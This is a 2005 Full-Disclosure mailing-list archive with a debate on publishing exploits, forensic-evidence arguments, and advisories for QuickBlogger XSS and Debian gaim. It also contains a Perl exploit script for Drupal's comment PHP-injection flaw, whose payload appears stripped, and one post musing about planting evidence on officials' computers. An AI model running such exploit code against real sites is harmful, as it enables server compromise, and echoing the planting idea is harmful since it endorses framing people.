Aviram, Working at a major organization, I find the one thing that is most frustrating is trying to validate whether a public exploit is actually a threat or not, we rely on tools like nessus and such the like that may or may not provide false positives. I believe public exploits (full disclosure) is a necessity and whether or not top security firms believe it, doesn't matter to me, it's not something that will never be stopped. I'd give you my company name, but unfortunately I am not allowed to. Suffice to say it is a major privately held organization that does business in the billions per year. They are very adamant about putting security in place, and not just from an attack and penetration perspective, but true engineering of applications with security in mind. If this analyst believes that all that public exploits do are put users at risk, they are missing the bottom line of this whole thing, which is...education. OK so we'll all simply rely on the vendors to patch our systems, without fully investigating the ramifications of those patches on 3rd party applications that are either relying on the O/S or sharing an O/S or that are integrated with the very system we are patching. The bottom line is public exploits help to educate us security engineers and sys admins on security, and provide us with an in-depth look at what other people are doing to exploit systems, it's an education process, it helps us it does not detour us. What detours us is when some kid or frustrated person decides to wrap up the exploit in some mass-distribution application. Conversely the argument could be made that if public exploits where not available the number of these worms/viruses would be far minimized, to which my response would be, take away information from people and they will find other means to obtain it. Sure we can try and argue against public exploits because they give mischievous people opportunity to wreak havoc on systems that we have to support, but if you have a good patch management and AV solution in place, guess what...you have nothing to worry about. This is my personal opinion having worked in security for quite a few years as well as managing a team of senior systems engineers responsible for enterprise systems. -Wesley North [EMAIL PROTECTED] -Original Message- From: Aviram Jenik [mailto:[EMAIL PROTECTED] Sent: Thursday, June 30, 2005 5:14 AM To: full-disclosure@lists.grok.org.uk; bugtraq@securityfocus.com Subject: Publishing exploit code - what is it good for Hi, I recently had a discussion about the concept of full disclosure with one of the top security analysts in a well-known analyst firm. Their claim was that companies that release exploit code (like us, but this is also relevant for bugtraq, full disclosure, and several security research firms) put users at risks while those at risk gain nothing from the release of the exploit. I tried the regular 'full disclosure advocacy' bit, but the analyst remained reluctant. Their claim was that based on their own work experience, a security administrator does not have a need for the exploit code itself, and the vendor information is enough. The analyst was willing to reconsider their position if an end-user came forward and talked to them about their own benefit of public exploit codes. Quote: " If I speak to an end-user organization and they express legitimate needs for exploit code, then I'll change my opinion." Help me out here. Full disclosure is important for me, as I'm sure it is for most of the people on these two lists. If you're an end-user organization and are willing to talk to this analyst and explain your view (pro-FD, I hope), drop me a note and I'll put you in direct contact. Please note: I don't need any arguments pro or against full disclosure; all this has been discussed in the past. I also don't need you to tell me about someone else or some other project (e.g. nessus, snort) that utilizes these exploits. Tried that. Didn't work. What I need is a security administrator, CSO, IT manager or sys admin that can explain why they find public exploits are good for THEIR organizations. Maybe we can start changing public opinion with regards to full disclosure, and hopefully start with this opinion leader. TIA. -- Aviram Jenik Beyond Security http://www.BeyondSecurity.com http://www.SecuriTeam.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Forensic evidence pros and cons
>The police find the data where they find it. That's called >'circumstantial evidence' and digital evidence will always be treated >exactly as such no matter who we successfully convince of the flaws >inherent in the filing cabinet or printed document/glossy photograph >analogy. It is not circumstantial, it is physical evidence. I believe that what you meant was that it's probitive value is uncertain because there is no chain of custody solely from a defendant to a forensic expert. That is to say that even though the device was in possession of the defendant, persons unknown likely also had access. Therefore you cannot assume that information found on the device was placed there by, or at the behest of, the defendant. No, I am not an attorney, but if you do LAN administration for five years at a law firm that does criminal defense work, you learn a few things. BTW, if some of this type of information began showing up on the computers used by judges, ADAs, district attorneys, and senior law enforcement officers they might change their minds quickly as to the probitive value of such finds. Surely, in our august ranks there are some who, speaking hypothetically of course, could arrange such events. It would nicely highlight the ambiguity of the situation. And I don't even want to think of the bragging rights Just a conjecture. Dan Sichel Network Engineer ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Quickblogger
- EXPL-A-2005-011 exploitlabs.com Advisory 040 - - QuickBlogger - AFFECTED PRODUCTS = QuickBlogger 1.4 ( and earlier ) http://www.jlwebworks.net/ OVERVIEW QuickBlogger is a freeware flatfile php blog script written to simplify updating your blog/website. DETAILS === 1. XSS Quickblog comments section does not properly filter malicious script content. XSS my be inserted in the author and comment body sections. The malicious script is the rendered upon visitation and executed in the context of the users brower. POC === 1. -- insert script into the "your name" and or the "comment" section. SOLUTION: = vendor contact: [EMAIL PROTECTED] June 11, 2005 [EMAIL PROTECTED] June 21, 2005 no response recieved Credits === This vulnerability was discovered and researched by Donnie Werner of exploitlabs Donnie Werner mail: wood at exploitlabs.com mail: morning_wood at zone-h.org -- web: http://exploitlabs.com web: http://zone-h.org http://exploitlabs.com/files/advisories/EXPL-A-2005-011-quickblogger.txt ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] RE: Tools accepted by the courts
Jason, the summary of your position seems to be that every CF witness for the prosecution should basically testify that, "yes, that image is there but since it came from the Internet, it's impossible to tell whether it got there intentionally or not." That's flat wrong. Sometimes you can't tell. Many times you can indeed. It's done in forensic exams on a routine basis. As for the "absurdity" of my prediction about more evidence being booted in the future due to poor forensic technique, I guess we'll see, won't we? In any event, I'm not sure what all your hostility is about. You seem to think you have everything figured out, while essentially the entire CF industry has it all wrong? You continue to talk about some mythical pursuit of truth as if no one but you has any interest in it, as if the rest of us are in it for a buck and don't give a rat's boohonkus if poor innocent people get locked away as long as the check clears. THAT is absurdity on parade. -- Craig, thanks for the comments. I concur. Jerry Hatchett, CCE Evidence Technology, LLC Computer Forensics, Forensic Video/Audio, Data Recovery www.evidencetechnology.net -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.323 / Virus Database: 267.8.9/39 - Release Date: 7/4/2005 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] DRUPAL-SA-2005-002 exploit
See attached file.
--
dab @ !dSR
http://www.digitalsec.net
#!/usr/bin/perl
# Mon Jul 4 18:19:35 CEST 2005 [EMAIL PROTECTED]
#
# DRUPAL-SA-2005-002 php injection in comments (yes, its lame)
# Hax0r code here, read before execute
#
# Run without arguments to show the help.
#
# BLINK! BLINK! BLINK! BLINK!
#
# Feel free to port to another stupid script language (mIRC,
# python, TCL or orthers), and send to securiteam (AGAIN)
#
# Theo, this one hasn't been tested in BSD.. yet!
# infohacking: there're a lot of xss in drupal, contact me if you want
# to program some exploits.
#
# BLINK! BLINK! BLINK! BLINK!
#
#
# HERE YOU CAN PUT YOUR BANNER THOUSENDS OF PEOPLE IS READING THIS LINE
# contact me for pricing and offerings.
#
# !dSR: yubii yeooo
#
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;
$| = 1; # ;1 = |$
my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$drupal_user,$drupal_pass);
my $options = GetOptions (
'host=s' => \$host,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'drupal_user=s' => \$drupal_user,
'drupal_pass=s' => \$drupal_pass,
'debug' => \$debug);
&help unless ($host);
while (1){
print "druppy461\$ ";
my $cmd = ;
&druppy($cmd);
}
exit (1); # could be replaced with exit(2)
sub druppy {
chomp (my $cmd = shift);
LWP::Debug::level('+') if $debug;
my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" }); # this is a random feature
$ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
if ($drupal_user) { # no need to exploit
my ($mhost, $h);
if ($host =~ /(http:\/\/.*?)\?q=/) {
$mhost = $1;
$h = $mhost . "?q=user/login";
} #some magic hacking here
else {
$host =~ /(.*?)\/.*?\//; $mhost =$1;
$h = $mhost . "/user/login";
}
print $h . "\n" if $debug;
my $req = POST $h,[
'edit[name]' => "$drupal_user",
'edit[pass]' => "$drupal_pass"
]; #grab these, and send to dsr!
print $req->as_string() if $debug;
my $res = $ua->request($req);
print $res->content() if $debug;
if ($res->is_redirect eq 1) {
print "Logged\n" if $debug;
}
}
$ua->proxy(['http'] => $proxy) if $proxy;
my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
my $res = $ua->get("$host");
my $html = $res->content();
my @op; # buffer overflow here
foreach (split(/\n/,$html)) {
if ( m/name="op" value="(.*?)"/){
push(@op,$1);
}
}# xss here
my $ok = 0; # globlal for admin purposes
foreach my $op (@op) {
my $req = POST "$host",[
'edit[subject]' => 'test',
'edit[comment]' =>
"",
'edit[format]' => '2',
'edit[cid]' => "", # drupal is sick.. it doesn't need arguments
'edit[pid]' => "", # they use it to grab some statistycal information
'edit[nid]' => "", # about users conduits. Don't buy in internet using drupal
'op' => "$op"
];
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
print $html if $debug;
foreach (split(/\n/,$html)) {
return if $ok gt "1"; # super hack de phrack
if (/BLAH/) { $ok++; next }
print "$_\n" if $ok eq "1"; # /n is for another line in screen
}
}
}
sub help {
print "Syntax: ./$0 [options]\n";
print "\t--drupal_user, --drupal_pass (needed if dont allow anonymous posts)\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--debug\n";
print "\nExample\n";
print "bash# $0 --host=http://www.server.com/?q=comment/reply/1\n";;
print "\n";
exit(1);
}
#sub 0day_solaris {
# please put your code here
#}
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 734-1] New gaim packages fix denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 734-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze July 5th, 2005 http://www.debian.org/security/faq - -- Package: gaim Vulnerability : denial of service Problem-Type : remote Debian-specific: no CVE ID : CAN-2005-1269 CAN-2005-1934 Two denial of service problems have been discovered in Gaim, a multi-protocol instant messaging client. The Common Vulnerabilities and Exposures project identifies the following problems: CAN-2005-1269 A malformed Yahoo filename can result in a crash of the application. CAN-2005-1934 A malformed MSN message can lead to incorrect memory allocation resulting in a crash of the application. The old stable distribution (woody) does not seem to be affected. For the stable distribution (sarge) these problems have been fixed in version 1.2.1-1.3. For the unstable distribution (sid) these problems have been fixed in version 1.3.1-1. We recommend that you upgrade your gaim package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3.dsc Size/MD5 checksum: 915 08a8121dcf20f0e36c99468cbaaac002 http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3.diff.gz Size/MD5 checksum:31431 09e9da9c18435f6d667c6e80c9ab26d0 http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1.orig.tar.gz Size/MD5 checksum: 5215565 866598947a30005c9d2a4466c7182e2a Architecture independent components: http://security.debian.org/pool/updates/main/g/gaim/gaim-data_1.2.1-1.3_all.deb Size/MD5 checksum: 2838688 76c3d0b41415b4cb2d1edb3ed1d5f2c1 Alpha architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_alpha.deb Size/MD5 checksum: 1068836 99128d827c71cb5a35aeffc9825bc6da http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_alpha.deb Size/MD5 checksum: 102376 8964c622cba173c9ba8cc8ef7983cf5f ARM architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_arm.deb Size/MD5 checksum: 817872 7ee2f80c4b85f8ea12880d2ad0e7621d http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_arm.deb Size/MD5 checksum: 102396 e9fde25b9022a9deef7fcb261f5244e4 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_i386.deb Size/MD5 checksum: 879304 02c7ea4fc0221adf68ba5cdb565577dd http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_i386.deb Size/MD5 checksum: 102456 a28253b1296809d8b550824071a56e0f Intel IA-64 architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_ia64.deb Size/MD5 checksum: 1264300 90f0e5fe37360d51b657b34efb10d1fd http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_ia64.deb Size/MD5 checksum: 102366 b87cebb6c4baac35150397e410f275ea HP Precision architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_hppa.deb Size/MD5 checksum: 1006988 f752b9a1ffe56551ca7be8788cd276e2 http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_hppa.deb Size/MD5 checksum: 102416 b5fe26c4a7dc7e0f587ffe96303f4573 Motorola 680x0 architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_m68k.deb Size/MD5 checksum: 815860 7ee86bf4293389262fa6cfb4fbc67f19 http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_m68k.deb Size/MD5 checksum: 102492 374e90c3d09183b34d010fcd350ec8c6 Big endian MIPS architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_mips.deb Size/MD5 checksum: 855152 dc79ea02eadb95e5c047b73726852079 http://security.debian.org/pool/updates/main/g/gaim/gaim-dev_1.2.1-1.3_mips.deb Size/MD5 checksum: 102436 2d87357f298bb0257fa67feaacb52d81 Little endian MIPS architecture: http://security.debian.org/pool/updates/main/g/gaim/gaim_1.2.1-1.3_mipsel.deb Size/MD5 checksum: 846430 3d45b57cf061fe01ceba0ac0ac1d1e83 http://security.debian.org/pool/updates/main/g/gaim/gaim-d
Re: [Full-disclosure] Re: Tools accepted by the courts
--On Tuesday, July 05, 2005 02:04:20 -1000 Jason Coombs <[EMAIL PROTECTED]> wrote: What I demand to hear spoken by law enforcement, and what I insist prosecutors compel law enforcement to speak if they don't volunteer these words out of their own common sense, is the following: "Yes, that's what we found on the hard drive but there's little or no reason for us to believe that the defendant is responsible for placing it there just because the hard drive was in the defendant's possession. We often see cases where hard drives are installed second-hand and data from previous owners remains on the drive, we can't tell when the data in question was written so it's important to be aware that hundreds of other people could have placed it there. We also see cases where software such as spyware or Web pages full of javascript force a suspect's Web browser to take actions that result in the appearance that the owner of the computer caused Internet content to be retrieved when in fact the owner of the computer may not have known what was happening, malicious Web site programmers know how to use techniques such as pop-unders and frames to hide scripted behavior of Web pages. Furthermore, once the Web browser is closed and its temporary files are deleted, every bit of data that was saved 'temporarily' to a file by the browser becomes a semi-permanent part of the hard drive's unallocated space and we have no way to tell the difference between data that was once part of a temporary file created automatically by a Web page being viewed or scripted inside a Web browser and the same data placed intentionally on the hard drive by its owner without the use of the Internet. Also ..." Then you obviously don't understand the adversarial nature of our justice system. It's the job of the *defense* attorney to discredit the evidence presented by a witness for the prosecution. It is *not* the job of the prosecution to torpedo its own case. Even in an ideal world where no prosecutor is ever over zealous, this would be brain-dead stupid. Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/ir/security/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Drupal exploit [DRUPAL-SA-2005-002]
See attached file. -- dab @ !dSR http://www.digitalsec.net druppy461.pl Description: Binary data ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Some VNC doubts : access server behind TCP/IP proxy or gateways
On Tue, Jul 05, 2005 at 10:56:09AM +0530, Aditya Deshmukh wrote: > Hi List, > Is there a way something like reverse shell that allows someone to connect > to a VNC server, behind gateway and through firewalls without opening any > holes in it or a tcp/ip proxy that is proxy that does not allow connections > from the internet ? VNC does support 'reverse shells'. Look in the manual for your particular version. You would need to open one or more ports on your company's firewall, but that isn't too big a problem, is it? Just tunnel it over something reasonably safe, and tell the helpdesk not to use 'priviliged' machines for incoming calls... Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: Tools accepted by the courts
Has anyone seen legal arguments made about the use of Sleuthkit vs. eNcase? Any comments that would make one lean toward using either one? -KF Lauro, John wrote: Problem with prosecution... Most X-Rays will not damage most hard drives. Hard drives are shielded. Proof of no mutation is the checksums on each sector of the hard drive. Unless those fail to pass, the data didn't "mutate". -Original Message- From: [EMAIL PROTECTED] [mailto:full-disclosure- [EMAIL PROTECTED] On Behalf Of Gaurav Kumar Sent: Tuesday, July 05, 2005 8:50 AM To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Re: Tools accepted by the courts i wish to share what happened in real life- the lawyer shows proofs of the hacking done. the judge say "ok" the defense guy asked, is this proof passed through the x-ray detector of airport while the proof was shipped. "yes" was the obvious reply. defense lawyer continued .."since this proof has passed thru xrays, there are chances that it might have been mutated" by the rays. the defendant wont having benefit of doubt. regards, gaurav On 7/5/05, Jason Coombs <[EMAIL PROTECTED]> wrote: Evidence Technology wrote: That era is quickly fading. Going forward, I think we'll see more and more digital evidence rendered inadmissible via failure to adhere to established evidentiary standards. Jerry, No way. What 'evidentiary standards' are you talking about here? I'm sorry but that's just absurd. How will there ever be 'evidentiary standards' on the contents of my filing cabinet and my personal pornography collection? The police find the data where they find it. That's called 'circumstantial evidence' and digital evidence will always be treated exactly as such no matter who we successfully convince of the flaws inherent in the filing cabinet or printed document/glossy photograph analogy. What I demand to hear spoken by law enforcement, and what I insist prosecutors compel law enforcement to speak if they don't volunteer these words out of their own common sense, is the following: "Yes, that's what we found on the hard drive but there's little or no reason for us to believe that the defendant is responsible for placing it there just because the hard drive was in the defendant's possession. We often see cases where hard drives are installed second-hand and data from previous owners remains on the drive, we can't tell when the data in question was written so it's important to be aware that hundreds of other people could have placed it there. We also see cases where software such as spyware or Web pages full of javascript force a suspect's Web browser to take actions that result in the appearance that the owner of the computer caused Internet content to be retrieved when in fact the owner of the computer may not have known what was happening, malicious Web site programmers know how to use techniques such as pop-unders and frames to hide scripted behavior of Web pages. Furthermore, once the Web browser is closed and its temporary files are deleted, every bit of data that was saved 'temporarily' to a file by the browser becomes a semi-permanent part of the hard drive's unallocated space and we have no way to tell the difference between data that was once part of a temporary file created automatically by a Web page being viewed or scripted inside a Web browser and the same data placed intentionally on the hard drive by its owner without the use of the Internet. Also ..." Disrespectfully Yours, (with extreme prejudice born of intense frustration due to the fact that nobody cares about getting this stuff right when it's so much easier just to collect a forensic paycheck and move on to the next victim -- I would like to think you are part of the solution rather than being part of the problem but you're talking nonsense and so is nearly everyone else in the computer forensics field, most especially the computer forensics vendors who need people to love them in order to make their businesses grow. They do not deserve respect and they most certainly fail the 'lovable' test, but television shows like CSI and visions of fat bank accounts have deceived everyone temporarily...) Please get a clue before you hurt somebody. Jason Coombs [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted
RE: [Full-disclosure] Re: Tools accepted by the courts
Problem with prosecution... Most X-Rays will not damage most hard drives. Hard drives are shielded. Proof of no mutation is the checksums on each sector of the hard drive. Unless those fail to pass, the data didn't "mutate". > -Original Message- > From: [EMAIL PROTECTED] [mailto:full-disclosure- > [EMAIL PROTECTED] On Behalf Of Gaurav Kumar > Sent: Tuesday, July 05, 2005 8:50 AM > To: full-disclosure@lists.grok.org.uk > Subject: Re: [Full-disclosure] Re: Tools accepted by the courts > > i wish to share what happened in real life- > > the lawyer shows proofs of the hacking done. the judge say "ok" the > defense guy asked, is this proof passed through the x-ray detector of > airport while the proof was shipped. "yes" was the obvious reply. > defense lawyer continued .."since this proof has passed thru xrays, > there are chances that it might have been mutated" by the rays. > > the defendant wont having benefit of doubt. > > regards, > gaurav > > > On 7/5/05, Jason Coombs <[EMAIL PROTECTED]> wrote: > > Evidence Technology wrote: > > > That era is quickly fading. Going forward, I think we'll see more > > > and more digital evidence rendered inadmissible via failure to > > > adhere to established evidentiary standards. > > > > Jerry, > > > > No way. What 'evidentiary standards' are you talking about here? > > > > I'm sorry but that's just absurd. How will there ever be 'evidentiary > > standards' on the contents of my filing cabinet and my personal > > pornography collection? > > > > The police find the data where they find it. That's called > > 'circumstantial evidence' and digital evidence will always be treated > > exactly as such no matter who we successfully convince of the flaws > > inherent in the filing cabinet or printed document/glossy photograph > > analogy. > > > > What I demand to hear spoken by law enforcement, and what I insist > > prosecutors compel law enforcement to speak if they don't volunteer > > these words out of their own common sense, is the following: > > > > "Yes, that's what we found on the hard drive but there's little or no > > reason for us to believe that the defendant is responsible for placing > > it there just because the hard drive was in the defendant's possession. > > We often see cases where hard drives are installed second-hand and data > > from previous owners remains on the drive, we can't tell when the data > > in question was written so it's important to be aware that hundreds of > > other people could have placed it there. We also see cases where > > software such as spyware or Web pages full of javascript force a > > suspect's Web browser to take actions that result in the appearance that > > the owner of the computer caused Internet content to be retrieved when > > in fact the owner of the computer may not have known what was happening, > > malicious Web site programmers know how to use techniques such as > > pop-unders and frames to hide scripted behavior of Web pages. > > Furthermore, once the Web browser is closed and its temporary files are > > deleted, every bit of data that was saved 'temporarily' to a file by the > > browser becomes a semi-permanent part of the hard drive's unallocated > > space and we have no way to tell the difference between data that was > > once part of a temporary file created automatically by a Web page being > > viewed or scripted inside a Web browser and the same data placed > > intentionally on the hard drive by its owner without the use of the > > Internet. Also ..." > > > > Disrespectfully Yours, > > > > (with extreme prejudice born of intense frustration due to the fact > > that nobody cares about getting this stuff right when it's so much > > easier just to collect a forensic paycheck and move on to the next > > victim -- I would like to think you are part of the solution rather than > > being part of the problem but you're talking nonsense and so is nearly > > everyone else in the computer forensics field, most especially the > > computer forensics vendors who need people to love them in order to make > > their businesses grow. They do not deserve respect and they most > > certainly fail the 'lovable' test, but television shows like CSI and > > visions of fat bank accounts have deceived everyone temporarily...) > > > > Please get a clue before you hurt somebody. > > > > Jason Coombs > > [EMAIL PROTECTED] > > ___ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - htt
Re: [Full-disclosure] alert: the 111111 bug
I saw the same thing happen on 9/9/99 The company went through a flurry of data entry, and they seemed to ride out the event well enough. This may have been due to a few pointed warnings from the technical staff. Then again, it may have been wrapped in with the changes for the 2000 'bug', so they may have had a budget for it. lsi wrote: platforms affected: all distribution of threat: wide severity of threat: potentially serious leadtime: 6.3 years :) I noticed one of my customers using the "special" date of 11/11/11 in their database. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: Tools accepted by the courts
i wish to share what happened in real life- the lawyer shows proofs of the hacking done. the judge say "ok" the defense guy asked, is this proof passed through the x-ray detector of airport while the proof was shipped. "yes" was the obvious reply. defense lawyer continued .."since this proof has passed thru xrays, there are chances that it might have been mutated" by the rays. the defendant wont having benefit of doubt. regards, gaurav On 7/5/05, Jason Coombs <[EMAIL PROTECTED]> wrote: > Evidence Technology wrote: > > That era is quickly fading. Going forward, I think we'll see more > > and more digital evidence rendered inadmissible via failure to > > adhere to established evidentiary standards. > > Jerry, > > No way. What 'evidentiary standards' are you talking about here? > > I'm sorry but that's just absurd. How will there ever be 'evidentiary > standards' on the contents of my filing cabinet and my personal > pornography collection? > > The police find the data where they find it. That's called > 'circumstantial evidence' and digital evidence will always be treated > exactly as such no matter who we successfully convince of the flaws > inherent in the filing cabinet or printed document/glossy photograph > analogy. > > What I demand to hear spoken by law enforcement, and what I insist > prosecutors compel law enforcement to speak if they don't volunteer > these words out of their own common sense, is the following: > > "Yes, that's what we found on the hard drive but there's little or no > reason for us to believe that the defendant is responsible for placing > it there just because the hard drive was in the defendant's possession. > We often see cases where hard drives are installed second-hand and data > from previous owners remains on the drive, we can't tell when the data > in question was written so it's important to be aware that hundreds of > other people could have placed it there. We also see cases where > software such as spyware or Web pages full of javascript force a > suspect's Web browser to take actions that result in the appearance that > the owner of the computer caused Internet content to be retrieved when > in fact the owner of the computer may not have known what was happening, > malicious Web site programmers know how to use techniques such as > pop-unders and frames to hide scripted behavior of Web pages. > Furthermore, once the Web browser is closed and its temporary files are > deleted, every bit of data that was saved 'temporarily' to a file by the > browser becomes a semi-permanent part of the hard drive's unallocated > space and we have no way to tell the difference between data that was > once part of a temporary file created automatically by a Web page being > viewed or scripted inside a Web browser and the same data placed > intentionally on the hard drive by its owner without the use of the > Internet. Also ..." > > Disrespectfully Yours, > > (with extreme prejudice born of intense frustration due to the fact > that nobody cares about getting this stuff right when it's so much > easier just to collect a forensic paycheck and move on to the next > victim -- I would like to think you are part of the solution rather than > being part of the problem but you're talking nonsense and so is nearly > everyone else in the computer forensics field, most especially the > computer forensics vendors who need people to love them in order to make > their businesses grow. They do not deserve respect and they most > certainly fail the 'lovable' test, but television shows like CSI and > visions of fat bank accounts have deceived everyone temporarily...) > > Please get a clue before you hurt somebody. > > Jason Coombs > [EMAIL PROTECTED] > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] RE: Tools accepted by the courts
Jerry, I have to disagree with Jason on this, I think you're on the right track; Computer forensics needs to be regarded in the same light as other forensics fields and held to the same standards to maintain any credibility in the future. Jason: I apologize on behalf of the rest of the community who are trying to find a way forward in this. Obviously by the tone of your previous contributions, you have the whole field sewn up. Perhaps when you publish your definitive work, we'll all be able to enjoy the view from your vantage point. But until then, I for one don't appreciate the belligerence and the patronizing. Perhaps in my 20 years of international forensic science in 8 different disciplines I've missed something fundamental concerning forensic investigation or evidence handling. If so, then please be sure to include a chapter, I'd love to see where I've been going wrong over the last two decades. If you are waiting for witnesses to paint a worst case scenario every time they hit the stand, then don't hold your breath. Our job is to make this stuff understandable in an impartial way. It doesn't matter how much you know or how much you understand if you cannot impart that information in a meaningful way to your audience, be it a judge, jury, or your granny. This is just my opinion folks. Respectfully yours, (unprejudiced, because that's how we are supposed to be professionally, trying to find the correct answer in place of the easy answer, knowing that yes there are those who would exploit this field like any other, but also knowing the way to see the standards increased is by doing my best to ensure that I've done my job to the best of my ability, -- I would like to hope you are more interested in finding the right way forward over promoting your own agenda, although sadly I'm seeing much of the good you have to say get lost in overly aggressive verbage.) Please think twice about your delivery, you're only hurting yourself, Tobin Craig ___ Tobin Craig, MRSC, CISSP, SCERS, EnCE IT Forensic Director, Computer Crimes and Forensics Department of Veterans Affairs Office of Inspector General 801 I Street NW Washington DC 20001 Tel: 202 565 7702 Fax: 202 565 7630 ___ -Original Message- From: Jason Coombs [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 05, 2005 8:04 AM To: Evidence Technology Cc: Craig, Tobin (OIG); [EMAIL PROTECTED]; full-disclosure@lists.grok.org.uk Subject: Re: Tools accepted by the courts Evidence Technology wrote: > That era is quickly fading. Going forward, I think we'll see more > and more digital evidence rendered inadmissible via failure to > adhere to established evidentiary standards. Jerry, No way. What 'evidentiary standards' are you talking about here? I'm sorry but that's just absurd. How will there ever be 'evidentiary standards' on the contents of my filing cabinet and my personal pornography collection? The police find the data where they find it. That's called 'circumstantial evidence' and digital evidence will always be treated exactly as such no matter who we successfully convince of the flaws inherent in the filing cabinet or printed document/glossy photograph analogy. What I demand to hear spoken by law enforcement, and what I insist prosecutors compel law enforcement to speak if they don't volunteer these words out of their own common sense, is the following: "Yes, that's what we found on the hard drive but there's little or no reason for us to believe that the defendant is responsible for placing it there just because the hard drive was in the defendant's possession. We often see cases where hard drives are installed second-hand and data from previous owners remains on the drive, we can't tell when the data in question was written so it's important to be aware that hundreds of other people could have placed it there. We also see cases where software such as spyware or Web pages full of javascript force a suspect's Web browser to take actions that result in the appearance that the owner of the computer caused Internet content to be retrieved when in fact the owner of the computer may not have known what was happening, malicious Web site programmers know how to use techniques such as pop-unders and frames to hide scripted behavior of Web pages. Furthermore, once the Web browser is closed and its temporary files are deleted, every bit of data that was saved 'temporarily' to a file by the browser becomes a semi-permanent part of the hard drive's unallocated space and we have no way to tell the difference between data that was once part of a temporary file created automatically by a Web page being viewed or scripted inside a Web browser and the same data placed intentionally on the hard drive by its owner without the use of the Internet. Also ..." Disrespectfully Yours, (with extreme prejudice born of intense frustration due to the fact that nobody cares about
[Full-disclosure] Re: Tools accepted by the courts
